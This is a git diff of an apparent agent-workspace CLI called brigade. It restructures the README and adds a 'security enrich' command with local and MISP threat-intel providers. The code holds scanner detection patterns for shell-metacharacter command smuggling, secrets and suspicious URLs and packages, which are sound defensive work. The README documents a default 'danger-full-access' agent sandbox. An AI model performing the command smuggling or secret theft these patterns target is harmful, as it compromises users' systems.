diff --git a/CHANGELOG.md b/CHANGELOG.md index 7b9a0ce8..9d0e2383 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -56,6 +56,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Built-in `security` station and `brigade security scan` for read-only agent workspace security checks. - Deeper MCP security checks for unpinned `npx`, shell metacharacters, secret-looking env values, sensitive or broad file args, high-risk local commands, large server sets, and missing timeouts. - Supply-chain security checks for package scripts, GitHub Actions permissions and action refs, Python URL dependencies, and legacy install hooks. +- `brigade security enrich` for explicit post-scan enrichment artifacts, with an offline local provider and opt-in MISP provider config. - `brigade security scan --import-findings` to route security findings into the local work import inbox for review. - `brigade security init` to write gitignored local defaults to `.brigade/security.toml`. - `brigade security fix` to create the local security artifact directory and refresh the managed `.gitignore` block. diff --git a/README.md b/README.md index 35228f4f..cabfbaca 100644 --- a/README.md +++ b/README.md @@ -20,14 +20,19 @@

- brigade is the operator-system CLI for agent workspaces. It gives you the workspace skeleton, handoff inbox, conservative ingester, and publish guards that make a multi-agent setup usable without leaking private junk into public repos. + brigade is the operator-system CLI for agent workspaces. + It gives you the workspace skeleton, handoff inbox, conservative ingester, + and publish guards that make a multi-agent setup usable.

## What this is -Mise en place means "everything in its place before the work starts." In a kitchen, that is chopped mirepoix, clean pans, labels, and a station that does not make you hunt for salt & butter mid-service. For agents, it is the same idea: rules, memory, tools, handoff inboxes, publish guards, and boring verification already laid out before the session gets expensive. +Mise en place means "everything in its place before the work starts." +In a kitchen, that is chopped mirepoix, clean pans, labels, and a station that does not make you hunt for salt mid-service. +For agents, it is the same idea: rules, memory, tools, handoff inboxes, publish guards, and boring verification already laid out before the session gets expensive. -This package lays down a clean starting point for an agent workspace or a repo that needs durable memory handoffs. It is meant for people running real tools, real docs, and real automation across OpenClaw, Claude Code, Codex, Hermes, or a similar harness. +This package lays down a clean starting point for an agent workspace or a repo that needs durable memory handoffs. +It is meant for people running real tools, real docs, and real automation across OpenClaw, Claude Code, Codex, Hermes, or a similar harness. The cookbook explains the why. This package gives you the kitchen. @@ -45,7 +50,8 @@ The cookbook explains the why. This package gives you the kitchen. - adapter fragments for OpenClaw (tested), Hermes (stubbed), and generic harnesses - doctor checks that prove the system is wired before you trust it -Browse the public template index in [`templates/`](templates/). The installable source files live under `src/brigade/templates/`; root workspace files are local dogfood state and stay ignored. +Browse the public template index in [`templates/`](templates/). +The installable source files live under `src/brigade/templates/`; root workspace files are local dogfood state and stay ignored. See [`ROADMAP.md`](ROADMAP.md) for the daily-driver, scanner inbox, chat-surface scanner, and memory-card decay roadmap. @@ -90,7 +96,9 @@ Once installed, `brigade doctor` verifies the wiring and `brigade status` report ## Run a brigade -`brigade run ""` is the aboyeur path: one orchestrator plans the work, Brigade dispatches the assigned workers through their own CLIs, then the orchestrator synthesizes the final answer. It is intentionally bounded: two orchestrator calls plus the worker calls in the plan. +`brigade run ""` is the aboyeur path. +One orchestrator plans the work, Brigade dispatches assigned workers through their own CLIs, then the orchestrator synthesizes the final answer. +It is intentionally bounded: two orchestrator calls plus the worker calls in the plan. Start with a roster: @@ -123,7 +131,10 @@ timeout_seconds = 600 allow_models = ["codex", "ollama:*"] ``` -Edit the roles, CLI refs, and timeouts to match the tools on your machine. `limits.timeout_seconds` is the default per-agent timeout; `agents..timeout_seconds` overrides it for one agent. Then run: +Edit the roles, CLI refs, and timeouts to match the tools on your machine. +`limits.timeout_seconds` is the default per-agent timeout. +`agents..timeout_seconds` overrides it for one agent. +Then run: ```bash brigade run "review this repo and suggest the next implementation step" @@ -171,9 +182,55 @@ brigade work latest brigade work recap --since 2026-05-26 ``` -`--dry-run` prints the planned assignments as JSON and stops before worker dispatch. `--show-plan` prints assignments before a normal run. `--verbose` prints the plan, worker statuses, and synthesis status. `--cwd` sets the working directory for the agent CLI calls and defaults to the current directory. `--handoff` writes a Memory Handoff for a successful non-dry run. `--inspect` prints the same readable artifact summary as `brigade runs show` after the run completes. `--read-only` tells the orchestrator and workers to inspect and recommend only, without modifying files or external state. For `codex` agents, Brigade also passes `codex exec --sandbox read-only`; other adapters receive the prompt policy only. The `cli` values are adapters for installed command-line tools: `codex`, `claude`, and `ollama:`. Pick the ones you already use. Brigade shells out to those tools and keeps no provider keys. `brigade roster doctor` validates the roster syntax and reports which CLIs are present on `PATH`. +Common `brigade run` flags: -`brigade dogfood` is the shortcut for using Brigade on itself or another trusted repo. It uses a built-in Codex-only roster, runs with prompt-level read-only instructions, shows the plan, writes normal run artifacts, writes a Memory Handoff by default, and prints the artifact summary afterward. Run `brigade dogfood init --target /path/to/repo` once to write local defaults to `.brigade/dogfood.toml`; that file is gitignored because it captures machine-local paths and preferences. New dogfood configs default the handoff inbox to `.codex/memory-handoffs/` under the target because the dogfood roster is Codex-driven; pass `--handoff-inbox` if your memory owner ingests a different path, including existing `.claude/memory-handoffs/` setups. After that, `brigade dogfood` from the repo is the one-command daily path, and `brigade dogfood "review today's changes"` overrides only the task. Use `brigade dogfood status` to inspect the effective target, artifact paths, handoff path, sandbox mode, CLI availability, ignore rules, and latest run without starting a new orchestration. Use `brigade dogfood latest` to show the latest configured dogfood run, and `brigade dogfood next` to print the latest extracted next step. Dogfood writes a `summary.md` beside each run's JSON artifacts with the final answer and extracted next step when present. Dogfood defaults to a 600 second per-agent timeout because full repo review can exceed short smoke-test limits. By default it passes Codex's `danger-full-access` sandbox setting for trusted-workspace use so repo inspection works on hosts where native read-only sandboxing blocks shell inspection. Use `--no-handoff` or `--no-inspect` to turn off those last two steps. Use `--native-read-only-sandbox` when the host supports Codex's native read-only sandbox and you want that additional enforcement. +- `--dry-run` prints planned assignments as JSON and stops before worker dispatch. +- `--show-plan` prints assignments before a normal run. +- `--verbose` prints the plan, worker statuses, and synthesis status. +- `--cwd` sets the working directory for agent CLI calls. +- `--handoff` writes a Memory Handoff for a successful non-dry run. +- `--inspect` prints the same artifact summary as `brigade runs show`. +- `--read-only` tells the orchestrator and workers to inspect and recommend only. + +For `codex` agents, `--read-only` also passes `codex exec --sandbox read-only`. +Other adapters receive the prompt policy only. + +The `cli` values are adapters for installed command-line tools: +`codex`, `claude`, and `ollama:`. Brigade shells out to those tools and keeps no provider keys. +Run `brigade roster doctor` to validate roster syntax and check which CLIs are on `PATH`. + +### Dogfood + +`brigade dogfood` is the shortcut for using Brigade on itself or another trusted repo. +It uses a built-in Codex-only roster, read-only prompt policy, normal run artifacts, a default Memory Handoff, and an artifact summary. + +Set it up once: + +```bash +brigade dogfood init --target /path/to/repo +``` + +That writes local defaults to `.brigade/dogfood.toml`, which is gitignored because it stores machine-local paths and preferences. +New dogfood configs default handoffs to `.codex/memory-handoffs/` because the dogfood roster is Codex-driven. +Pass `--handoff-inbox` if your memory owner ingests a different path. + +Daily commands: + +- `brigade dogfood` runs the configured daily path from the repo. +- `brigade dogfood "review today's changes"` overrides only the task. +- `brigade dogfood status` checks paths, sandbox mode, CLI availability, ignore rules, and the latest run. +- `brigade dogfood latest` shows the latest configured dogfood run. +- `brigade dogfood next` prints the latest extracted next step. + +Dogfood writes `summary.md` beside each run's JSON artifacts when a final answer or next step exists. +It defaults to a 600 second per-agent timeout. +Trusted-workspace runs use Codex's `danger-full-access` sandbox setting by default so repo inspection works on hosts where native read-only sandboxing blocks shell inspection. + +Useful switches: + +- `--no-handoff` skips the dogfood handoff. +- `--no-inspect` skips the artifact summary. +- `--native-read-only-sandbox` uses Codex's native read-only sandbox when the host supports it. CLI runs write artifacts by default under `.brigade/runs/` below `--cwd`; dogfood runs use `.brigade/runs/` below the configured target: @@ -190,11 +247,82 @@ CLI runs write artifacts by default under `.brigade/runs/` below `--cwd`; do Use `--output-dir ` to pick the artifact directory, or `--no-artifacts` for a throwaway run. -Use `brigade work bootstrap` once in a repo to initialize the daily loop: it writes or verifies `.brigade/dogfood.toml`, creates local run and work artifact directories, creates the configured handoff inbox, updates the managed `.gitignore` block, and reports whether the repo is ready to run. Use `brigade work brief` as the normal start-of-day command. It shows branch and dirty-file state, active and latest work sessions, pending local tasks, pending local import counts by source and kind, latest dogfood run, extracted next task, recent sessions, and the command to continue; add `--json` for wrappers. Use `brigade work tasks` to list the local task ledger stored in `.brigade/work/tasks.json`, `brigade work task add "..."` to queue work manually, `brigade work task add --from-next` to promote the latest extracted dogfood next step, and `brigade work task done ` to close queued work. Use `brigade work import add "..."` as a scanner-ready local inbox for candidate tasks, findings, decisions, preferences, incidents, links, and commands from systems such as chat crawlers or memory-care decay scans; imports are stored under `.brigade/work/imports/inbox.jsonl`, stay gitignored, and do not write memory directly. Scanner authors can write JSONL records documented in [`docs/import-schema.md`](docs/import-schema.md), then run `brigade work import validate imports.jsonl` and `brigade work import ingest imports.jsonl`. Use `brigade work import memory-care` to convert `memory/cards/decay/refresh-queue.json` into local imports. Use `brigade work import triage` to group pending imports by source and kind, `brigade work import show ` to inspect one item, `brigade work import dismiss ` to remove noise from the pending queue, `brigade work import promote ` to promote one reviewed import into the task ledger, or `brigade work import promote --all --source memory-care --kind task` to batch-promote filtered pending imports with source metadata preserved. Use `brigade work status` as the quick daily dashboard for a repo. It reports the current branch, dirty files, dogfood readiness, configured dogfood paths, latest dogfood run, and extracted next step without starting a new orchestration. Use `brigade work doctor` to check whether the repo is ready for the daily loop: dogfood config, security config, latest security evidence bundle, Codex CLI, local artifact paths, handoff inbox, ignore coverage, and latest run context. Use `brigade work resume` when returning to a repo; it shows the active or latest work session, latest dogfood run, extracted next step, and the suggested command to continue. Use `brigade work next` when you only need the task Brigade would run next, or `brigade work next --json` for wrappers that want the active session, dogfood snapshot, resolved task, and suggested command as structured output. `brigade work run` is the one-command daily loop: it starts a work session, consumes the oldest pending ledger task when no task is passed, otherwise uses the latest extracted dogfood next step, runs `brigade dogfood`, marks consumed ledger tasks done after successful runs, ends the session, writes a work-session Memory Handoff by default, and prints a compact recap. Add `--queue-next` to queue the successful run's extracted next step for the next session; duplicate pending task text is reused instead of added again. Pass a task to override the resolved next step, `--title` to name the session, `--no-handoff` to skip the work handoff, or `--dogfood-handoff` to also let the underlying dogfood run write its own handoff. `brigade work start "title"` opens a local work session under `.brigade/work//`, records the starting git and dogfood context, and writes `start.md`. `brigade work note "checkpoint"` appends a timestamped note to the active session without ending it. `brigade work end --note "what happened"` closes the active session, records ending context, and writes `end.md`. Add `--handoff` to also write a Memory Handoff for the closed session; it defaults to the configured dogfood handoff inbox or `.codex/memory-handoffs`. +### Daily Work Loop + +Use `brigade work bootstrap` once per repo. +It writes or verifies `.brigade/dogfood.toml`, creates local artifact directories, creates the handoff inbox, updates `.gitignore`, and reports readiness. + +Start-of-day commands: + +- `brigade work brief` shows branch state, active sessions, pending tasks, import counts, latest dogfood run, and the command to continue. +- `brigade work status` is the quick dashboard for branch state, dogfood readiness, paths, latest run, and extracted next step. +- `brigade work doctor` checks dogfood config, security config, evidence bundles, Codex CLI, artifact paths, handoff inbox, ignore coverage, and latest run context. +- `brigade work resume` shows the active or latest session, latest dogfood run, extracted next step, and suggested command. +- `brigade work next` prints only the next task. Add `--json` for wrappers. + +Task ledger commands: + +- `brigade work tasks` lists `.brigade/work/tasks.json`. +- `brigade work task add "..."` queues a task manually. +- `brigade work task add --from-next` promotes the latest extracted dogfood next step. +- `brigade work task done ` closes queued work. + +Import inbox commands: + +- `brigade work import add "..."` creates a scanner-ready local import. +- `brigade work import validate imports.jsonl` checks scanner output against [`docs/import-schema.md`](docs/import-schema.md). +- `brigade work import ingest imports.jsonl` ingests scanner output. +- `brigade work import memory-care` converts `memory/cards/decay/refresh-queue.json` into imports. +- `brigade work import triage` groups pending imports by source and kind. +- `brigade work import show ` inspects one import. +- `brigade work import dismiss ` removes noise. +- `brigade work import promote ` promotes one reviewed import into the task ledger. +- `brigade work import promote --all --source memory-care --kind task` batch-promotes filtered imports. + +Imports are stored under `.brigade/work/imports/inbox.jsonl`, stay gitignored, and do not write memory directly. -Memory and bootstrap readiness are part of the same operating-system health story. `brigade doctor` checks installed bootstrap files against built-in hard byte budgets so overgrown files fail before agents load truncated context. It also checks `memory/cards/*.md` budgets, verifies that `MEMORY.md` card links resolve under `memory/cards/`, and reports memory-care freshness from `memory/cards/decay/scan-latest.json`. Workspace installs include `.brigade/memory-care.example.json` as a scanner wiring contract for whatever scheduler or memory owner produces the decay files. Missing memory-care decay state is advisory for fresh installs, but corrupt scan or refresh-queue JSON fails once the loop is wired. Bootstrap truncation is treated as a hard failure to prevent, not a cosmetic warning; keep cards atomic and bootstrap files as slim indexes. +Run the daily loop with `brigade work run`. +It opens a work session, resolves the next task, runs `brigade dogfood`, and closes completed ledger tasks after successful runs. +Then it ends the session, writes a work-session Memory Handoff by default, and prints a recap. -Inspect local work sessions with `brigade work list`, `brigade work latest`, or `brigade work show `. Use `brigade work recap` for a compact summary of recent sessions, or add `--since YYYY-MM-DD` for a day-range recap. +Useful `work run` switches: + +- `--queue-next` queues the successful run's extracted next step for the next session. +- `--title` names the session. +- `--no-handoff` skips the work handoff. +- `--dogfood-handoff` also lets the underlying dogfood run write its own handoff. +- Passing a task overrides the resolved next step. + +Manual session commands: + +- `brigade work start "title"` opens `.brigade/work//`, records starting context, and writes `start.md`. +- `brigade work note "checkpoint"` appends a timestamped note to the active session. +- `brigade work end --note "what happened"` closes the active session and writes `end.md`. +- `brigade work end --handoff` also writes a Memory Handoff. + +### Memory And Bootstrap Health + +Memory and bootstrap readiness are part of the same operating-system health story. +`brigade doctor` checks installed bootstrap files against hard byte budgets so overgrown files fail before agents load truncated context. + +It also checks: + +- `memory/cards/*.md` budgets +- `MEMORY.md` card links under `memory/cards/` +- memory-care freshness from `memory/cards/decay/scan-latest.json` +- corrupt scan or refresh-queue JSON once the loop is wired + +Workspace installs include `.brigade/memory-care.example.json` as a scanner wiring contract for whatever scheduler or memory owner produces the decay files. +Missing memory-care state is advisory for fresh installs. +Bootstrap truncation is a hard failure to prevent, not a cosmetic warning. + +Inspect local work sessions with: + +- `brigade work list` +- `brigade work latest` +- `brigade work show ` +- `brigade work recap` +- `brigade work recap --since YYYY-MM-DD` Inspect a completed run without opening each JSON file: @@ -207,13 +335,24 @@ brigade security fix brigade security scan --target . brigade security scan --target . --policy public-repo brigade security scan --target . --output-dir .brigade/security/latest +brigade security enrich --target . brigade security review brigade security suppress --reason "reviewed false positive" brigade security unsuppress brigade security scan --target . --import-findings ``` -Use `--handoff` to bridge a completed run back into the memory system. By default it writes a reviewable handoff to `.claude/memory-handoffs/` under `--cwd`; override with `--handoff-inbox ` for Codex, OpenCode, GPT, Hermes, OpenClaw, or any other non-Claude writer inbox. The handoff targets `.learnings/LEARNINGS.md` as a `no-card` document update, so the normal `brigade ingest` route can review or ingest it. If handoff writing fails after synthesis, Brigade still prints the final answer and keeps the final artifacts, but exits nonzero and marks `run.json` as `handoff-failed`. `--handoff` is not allowed with `--dry-run` because dry runs have no final answer. +Use `--handoff` to bridge a completed run back into the memory system. + +Handoff behavior: + +- By default it writes a reviewable handoff to `.claude/memory-handoffs/` under `--cwd`. +- Use `--handoff-inbox ` for Codex, OpenCode, GPT, Hermes, OpenClaw, or another writer inbox. +- The handoff targets `.learnings/LEARNINGS.md` as a `no-card` document update. +- The normal `brigade ingest` route can review or ingest that handoff. +- If handoff writing fails after synthesis, Brigade still prints the final answer and keeps the final artifacts. +- Failed handoff writes exit nonzero and mark `run.json` as `handoff-failed`. +- `--handoff` is not allowed with `--dry-run` because dry runs have no final answer. Live smoke test, using a temporary Codex-only roster: @@ -238,10 +377,21 @@ allow_models = ["codex"] EOF brigade roster doctor --target "$tmpdir" -timeout 360 brigade run "Integration test: assign the coder worker to return its required success sentence, then synthesize one sentence saying the full Brigade dispatch path succeeded." --roster "$tmpdir/.brigade/roster.toml" --cwd "$smoke_cwd" --output-dir "$tmpdir/run" --handoff --handoff-inbox "$tmpdir/handoffs" --show-plan --read-only +timeout 360 brigade run \ + "Integration test: assign the coder worker to return its required success sentence, then synthesize one sentence saying the full Brigade dispatch path succeeded." \ + --roster "$tmpdir/.brigade/roster.toml" \ + --cwd "$smoke_cwd" \ + --output-dir "$tmpdir/run" \ + --handoff \ + --handoff-inbox "$tmpdir/handoffs" \ + --show-plan \ + --read-only ``` -Codex may require `--cwd` to be a trusted git repo, so the smoke keeps the roster, artifacts, and handoff inbox in the temp directory while running the agent CLIs from `smoke_cwd`. Live runs invoke authenticated model CLIs and may consume whatever quota or subscription those CLIs use. `--dry-run` still invokes the orchestrator, but it does not dispatch workers or synthesize. +Codex may require `--cwd` to be a trusted git repo. +The smoke keeps the roster, artifacts, and handoff inbox in the temp directory while running the agent CLIs from `smoke_cwd`. +Live runs invoke authenticated model CLIs and may consume whatever quota or subscription those CLIs use. +`--dry-run` still invokes the orchestrator, but it does not dispatch workers or synthesize. ## Two axes: depth + harnesses @@ -280,13 +430,17 @@ Four common combos: The canonical memory owner is picked automatically by priority (`openclaw > hermes > claude > codex > this-repo`). Override with `--owner`. -Re-running `brigade init` against an existing target is safe. It refuses to overwrite tracked files without `--force`, and the `.gitignore` block it manages is replaced between its markers without touching the rest of your file. +Re-running `brigade init` against an existing target is safe. +It refuses to overwrite tracked files without `--force`. +The managed `.gitignore` block is replaced between its markers without touching the rest of your file. See [QUICKSTART.md](QUICKSTART.md) for setup, verification, and the ingest flow. ## Managed stations -Some stations can install and wire external tools for you. Run `brigade add ` to install any tool attached to that station that is not already on your PATH, then wire its default config. Tools are never imported in process; Brigade shells out to each CLI, so the boundary stays model-neutral and mixed-language. +Some stations can install and wire external tools for you. +Run `brigade add ` to install any tool attached to that station that is not already on your PATH, then wire its default config. +Tools are never imported in process; Brigade shells out to each CLI, so the boundary stays model-neutral and mixed-language. ```bash brigade add memory # memory-doctor + bootstrap-doctor @@ -294,7 +448,43 @@ brigade add guard # content-guard brigade add tokens # tokenjuice ``` -`security` is a built-in station with no external managed tool yet. Run `brigade security scan --target .` for a read-only agent workspace security report, add `--output-dir .brigade/security/latest` to write redacted `security-report.json` and `security-report.md` artifacts, or add `--import-findings` to turn findings into local `brigade work import` review items. Run `brigade security review` to inspect the latest evidence bundle, `brigade security suppress --reason "..."` to suppress reviewed noise with a required reason, and `brigade security unsuppress ` to remove stale suppressions. The scanner covers secrets, permissions, hooks, package scripts, GitHub Actions, Python dependency config, prompt-injection patterns, and MCP configs including remote transports, auto-approval, unpinned `npx`, shell metacharacters, secret-looking env values, sensitive and broad file args, high-risk local commands, large server sets, and missing timeouts. `brigade doctor` and `brigade work doctor` report security config health, stale suppressions, missing suppression reasons, latest evidence bundle status, and whether local security artifacts are ignored. `brigade security fix` applies the narrow safe hygiene fix for that local state: it creates `.brigade/security/` and refreshes the managed `.gitignore` block. Secret evidence is redacted before reports, artifacts, or imports are written. Use `brigade security init` to write gitignored local defaults to `.brigade/security.toml`; it supports policy presets (`personal`, `public-repo`, `strict`), `fail_on`, template scanning, and fingerprint suppressions for reviewed findings. +`security` is a built-in station with no external managed tool yet. + +Security commands: + +- `brigade security init` writes gitignored local defaults to `.brigade/security.toml`. +- `brigade security fix` creates `.brigade/security/` and refreshes the managed `.gitignore` block. +- `brigade security scan --target .` runs a read-only agent workspace security scan. +- `brigade security scan --output-dir .brigade/security/latest` writes redacted report artifacts. +- `brigade security scan --import-findings` turns findings into local `brigade work import` review items. +- `brigade security enrich --target .` enriches an existing report and writes enrichment artifacts. +- `brigade security review` inspects the latest evidence bundle, including enrichment when present. +- `brigade security suppress --reason "..."` suppresses reviewed noise. +- `brigade security unsuppress ` removes stale suppressions. + +The scanner covers: + +- secrets and private keys +- broad permissions and risky hooks +- package scripts, GitHub Actions, and Python dependency config +- prompt-injection style instructions +- MCP configs, including remote transports, auto-approval, unpinned `npx`, and shell metacharacters +- MCP sensitive surfaces, including env values, broad file args, high-risk local commands, large server sets, and missing timeouts + +Enrichment is explicit and post-scan. +The default `local` provider only summarizes extracted indicators offline. +The `misp` provider is opt-in through gitignored config and an API key environment variable. + +`brigade doctor` and `brigade work doctor` report: + +- security config health +- enrichment config health +- stale suppressions and missing suppression reasons +- latest evidence bundle status +- whether local security artifacts are ignored + +Secret evidence is redacted before reports, artifacts, or imports are written. +Security config supports policy presets (`personal`, `public-repo`, `strict`), `fail_on`, template scanning, fingerprint suppressions, and `[enrichment]` provider settings. The current managed tools: @@ -305,7 +495,9 @@ The current managed tools: | `guard` | `content-guard` | policy-driven content scanning | | `tokens` | `tokenjuice` | output compaction via host hooks | -`brigade doctor` folds installed tools into its report and surfaces each tool's own health. A tool that is not installed is never a failure: it shows up as a non-failing `[todo]` hint telling you to run `brigade add `. That keeps doctor green on a bare host while still pointing you at what is available to add. +`brigade doctor` folds installed tools into its report and surfaces each tool's own health. +A missing optional tool is not a failure. +It shows up as a non-failing `[todo]` hint telling you to run `brigade add `. ### What a green doctor looks like @@ -332,11 +524,20 @@ Anything `[warn]` is fine; `[fail]` means the install is incomplete. The `opencl ### Privacy -brigade makes no network calls. It does not phone home, collect telemetry, or sync anything to a server. Everything happens on your local filesystem against the templates packaged with the install. The only file that touches the network is the `pre-push` hook, and it runs the local `content-guard` scanner against your own commits before they leave the machine. +brigade makes no network calls by default. +It does not phone home, collect telemetry, or sync anything to a server. +Everything happens on your local filesystem against the templates packaged with the install. + +The normal exception is your own configured tooling: + +- the `pre-push` hook runs the local `content-guard` scanner before commits leave the machine +- `brigade security enrich` can call MISP only when you explicitly configure and run the `misp` provider ## The design -One memory owner stays canonical (typically OpenClaw or Hermes when present, otherwise `this-repo`). Writer harnesses drop handoffs into their own inboxes; the ingester scans all of them. +One memory owner stays canonical. +That is typically OpenClaw or Hermes when present, otherwise `this-repo`. +Writer harnesses drop handoffs into their own inboxes, and the ingester scans all of them. ```text Claude Code Codex @@ -353,11 +554,19 @@ Claude Code Codex rules/*.md, .learnings/*.md ``` -The ingester is intentionally conservative. Safe card handoffs become cards. Targeted updates append to the right file. Ambiguous material gets kicked out for review instead of being trusted automatically. +The ingester is intentionally conservative. +Safe card handoffs become cards. +Targeted updates append to the right file. +Ambiguous material gets kicked out for review instead of being trusted automatically. -For users running multiple agent homes, treat the owner workspace as the hub. Remote or secondary workspaces can write handoffs into their own per-harness inboxes, then a trusted sync pulls those files into a staging inbox on the owner. That keeps agents informed about what happened elsewhere without creating multiple canonical memories. +For users running multiple agent homes, treat the owner workspace as the hub. +Remote or secondary workspaces can write handoffs into their own per-harness inboxes. +A trusted sync can pull those files into a staging inbox on the owner. +That keeps agents informed without creating multiple canonical memories. -Token-heavy terminal work gets the same treatment: make the wrapper explicit, make the escape hatch obvious, and tell every harness what is happening. The TokenJuice starter card documents Claude Code's PreToolUse wrapper path, Codex's hook setup, and the savings model. +Token-heavy terminal work gets the same treatment. +Make the wrapper explicit, make the escape hatch obvious, and tell every harness what is happening. +The TokenJuice starter card documents Claude Code's PreToolUse wrapper path, Codex's hook setup, and the savings model. ## Related diff --git a/ROADMAP.md b/ROADMAP.md index 7493cf0e..5c126b71 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -54,7 +54,7 @@ Baseline coverage targets: - Review agent prompts, skills, subagents, slash commands, and workspace instructions for prompt-injection patterns, hidden instructions, URL execution, data harvesting, output suppression, time bombs, and unsafe auto-run language. - Emit graded reports with severity, category scores, evidence snippets, suggested fixes, JSON output, markdown output, HTML or bundle output, and CI-friendly exit codes. Status: started with redacted JSON and Markdown evidence bundles. - Support CLI use, GitHub Action use, and local evidence packs. -- Add optional threat-intel enrichment, including MISP as an opt-in provider, without changing the default no-network local scan behavior. +- Add optional threat-intel enrichment, including MISP as an opt-in provider, without changing the default no-network local scan behavior. Status: started with explicit `brigade security enrich`, offline local enrichment, MISP provider config, and separate enrichment artifacts. Brigade-specific additions: @@ -66,7 +66,7 @@ Brigade-specific additions: - Produce Memory Handoffs for durable security findings while keeping raw secret evidence redacted. - Add policy packs for personal dogfooding, public-repo release checks, CI gates, and strict enterprise workspaces. Status: started with `personal`, `public-repo`, and `strict`. - Include dependency and package-manager hardening checks for agent plugin ecosystems, MCP packages, skills, and local tool wrappers. Status: started with package scripts, GitHub Actions refs and permissions, Python URL dependencies, and legacy install hooks. -- Enrich reviewed indicators and suspicious package or domain findings through optional providers such as MISP, then route enriched findings into local evidence bundles and work imports. +- Enrich reviewed indicators and suspicious package or domain findings through optional providers such as MISP, then route enriched findings into local evidence bundles and work imports. Status: started with `security-enrichment.json`, `security-enrichment.md`, and review/doctor visibility. - Track false-positive taxonomy, runtime-confidence rules, suppressions, and regression fixtures as first-class project artifacts. Status: started with `brigade security review`, reasoned suppressions, unsuppress, and stale-suppression doctor warnings. ## Later Phase: Issue And TDD Work Loop diff --git a/src/brigade/cli.py b/src/brigade/cli.py index 14e3be04..8bbdfa7d 100644 --- a/src/brigade/cli.py +++ b/src/brigade/cli.py @@ -398,6 +398,23 @@ def _build_parser() -> argparse.ArgumentParser: p_security_review.add_argument("--target", "-t", type=Path, default=Path("."), help="Repo or workspace to review.") p_security_review.add_argument("--output-dir", type=Path, default=None, help="Security evidence bundle directory.") p_security_review.add_argument("--json", action="store_true", help="Print machine-readable JSON.") + p_security_enrich = security_sub.add_parser("enrich", help="Enrich an existing security report.") + p_security_enrich.add_argument("--target", "-t", type=Path, default=Path("."), help="Repo or workspace to enrich.") + p_security_enrich.add_argument( + "--output-dir", + type=Path, + default=None, + help="Security evidence bundle directory. Defaults to .brigade/security/latest.", + ) + p_security_enrich.add_argument( + "--report", + dest="report_path", + type=Path, + default=None, + help="Explicit security-report.json path. Defaults to --output-dir/security-report.json.", + ) + p_security_enrich.add_argument("--provider", choices=["local", "misp"], default=None, help="Override configured provider.") + p_security_enrich.add_argument("--json", action="store_true", help="Print machine-readable JSON.") p_security_suppress = security_sub.add_parser("suppress", help="Suppress a reviewed security finding fingerprint.") p_security_suppress.add_argument("fingerprint", help="Finding fingerprint to suppress.") p_security_suppress.add_argument("--target", "-t", type=Path, default=Path("."), help="Repo or workspace to update.") @@ -809,6 +826,14 @@ def main(argv=None) -> int: return security_cmd.fix(target=args.target, dry_run=args.dry_run) if args.security_command == "review": return security_cmd.review(target=args.target, output_dir=args.output_dir, json_output=args.json) + if args.security_command == "enrich": + return security_cmd.enrich( + target=args.target, + output_dir=args.output_dir, + report_path=args.report_path, + provider=args.provider, + json_output=args.json, + ) if args.security_command == "suppress": return security_cmd.suppress(target=args.target, fingerprint=args.fingerprint, reason=args.reason) if args.security_command == "unsuppress": diff --git a/src/brigade/doctor.py b/src/brigade/doctor.py index 8cb04679..bb361949 100644 --- a/src/brigade/doctor.py +++ b/src/brigade/doctor.py @@ -96,6 +96,11 @@ def security_station_checks(ctx: DoctorContext) -> List[CheckResult]: results.append((FAIL, "security: config", f"invalid {config}: {exc}")) else: results.append((OK, "security: config", f"{config} (policy={loaded.policy if loaded else 'personal'})")) + enrichment = security_cmd.enrichment_health(ctx.target) + if enrichment.get("configured"): + results.append((OK, "security: enrichment", f"{enrichment.get('provider')} ({enrichment.get('status')})")) + else: + results.append((WARN, "security: enrichment", str(enrichment.get("status")))) else: results.append((WARN, "security: config", f"missing at {config}; run `brigade security init --target .`")) diff --git a/src/brigade/security_cmd.py b/src/brigade/security_cmd.py index 73905a48..92487a94 100644 --- a/src/brigade/security_cmd.py +++ b/src/brigade/security_cmd.py @@ -4,12 +4,16 @@ import ast import hashlib import json +import os import re import sys from datetime import datetime, timezone from dataclasses import dataclass, field from pathlib import Path from typing import Any +from urllib import error as urlerror +from urllib import request as urlrequest +from urllib.parse import urlparse from . import work_cmd @@ -105,6 +109,21 @@ MCP_SHELL_META_RE = re.compile(r"[;&|`<>]|\$\(") FINGERPRINT_RE = re.compile(r"^[a-f0-9]{16}$") GITHUB_ACTION_FLOATING_REFS = {"main", "master", "latest", "dev", "develop", "trunk", "head"} +INDICATOR_URL_RE = re.compile(r"https?://[^\s`\"'<>]+") +INDICATOR_NPX_RE = re.compile(r"\bnpx\s+(?:-y\s+)?([a-zA-Z0-9_.@/-]+)") +INDICATOR_GITHUB_ACTION_RE = re.compile(r"uses:\s*['\"]?([^@\s'\"]+)(?:@([^@\s'\"]+))?") +ENRICHMENT_PROVIDERS = {"local", "misp"} +ENRICHMENT_MARKDOWN_START = "" +ENRICHMENT_MARKDOWN_END = "" + + +@dataclass(frozen=True) +class SecurityEnrichmentConfig: + provider: str | None = None + misp_url: str | None = None + misp_api_key_env: str = "MISP_API_KEY" + timeout_seconds: int = 10 + cache_path: str = ".brigade/security/enrichment-cache.json" @dataclass(frozen=True) @@ -114,6 +133,7 @@ class SecurityConfig: include_templates: bool | None = None suppressions: tuple[str, ...] = () suppression_reasons: dict[str, str] = field(default_factory=dict) + enrichment: SecurityEnrichmentConfig = field(default_factory=SecurityEnrichmentConfig) @dataclass(frozen=True) @@ -138,6 +158,7 @@ def inspect_evidence_bundle(path: Path) -> dict[str, Any]: path = path.expanduser().resolve() json_path = path / "security-report.json" markdown_path = path / "security-report.md" + enrichment_path = path / "security-enrichment.json" if not path.is_dir(): return {"ready": False, "path": str(path), "reason": "missing"} missing = [item.name for item in (json_path, markdown_path) if not item.is_file()] @@ -155,6 +176,7 @@ def inspect_evidence_bundle(path: Path) -> dict[str, Any]: "generated_at": payload.get("generated_at"), "finding_count": payload.get("finding_count"), "policy": payload.get("policy"), + "enrichment_ready": enrichment_path.is_file(), } @@ -179,7 +201,7 @@ def _read_toml_object(path: Path) -> dict[str, object]: continue if line.startswith("[") and line.endswith("]"): table = line[1:-1].strip() - if table not in {"suppressions", "suppression_reasons"}: + if table not in {"suppressions", "suppression_reasons", "enrichment"}: raise ValueError(f"invalid security config line {line_number}: unsupported table [{table}]") current = data.setdefault(table, {}) if not isinstance(current, dict): @@ -228,12 +250,47 @@ def load_config(target: Path) -> SecurityConfig 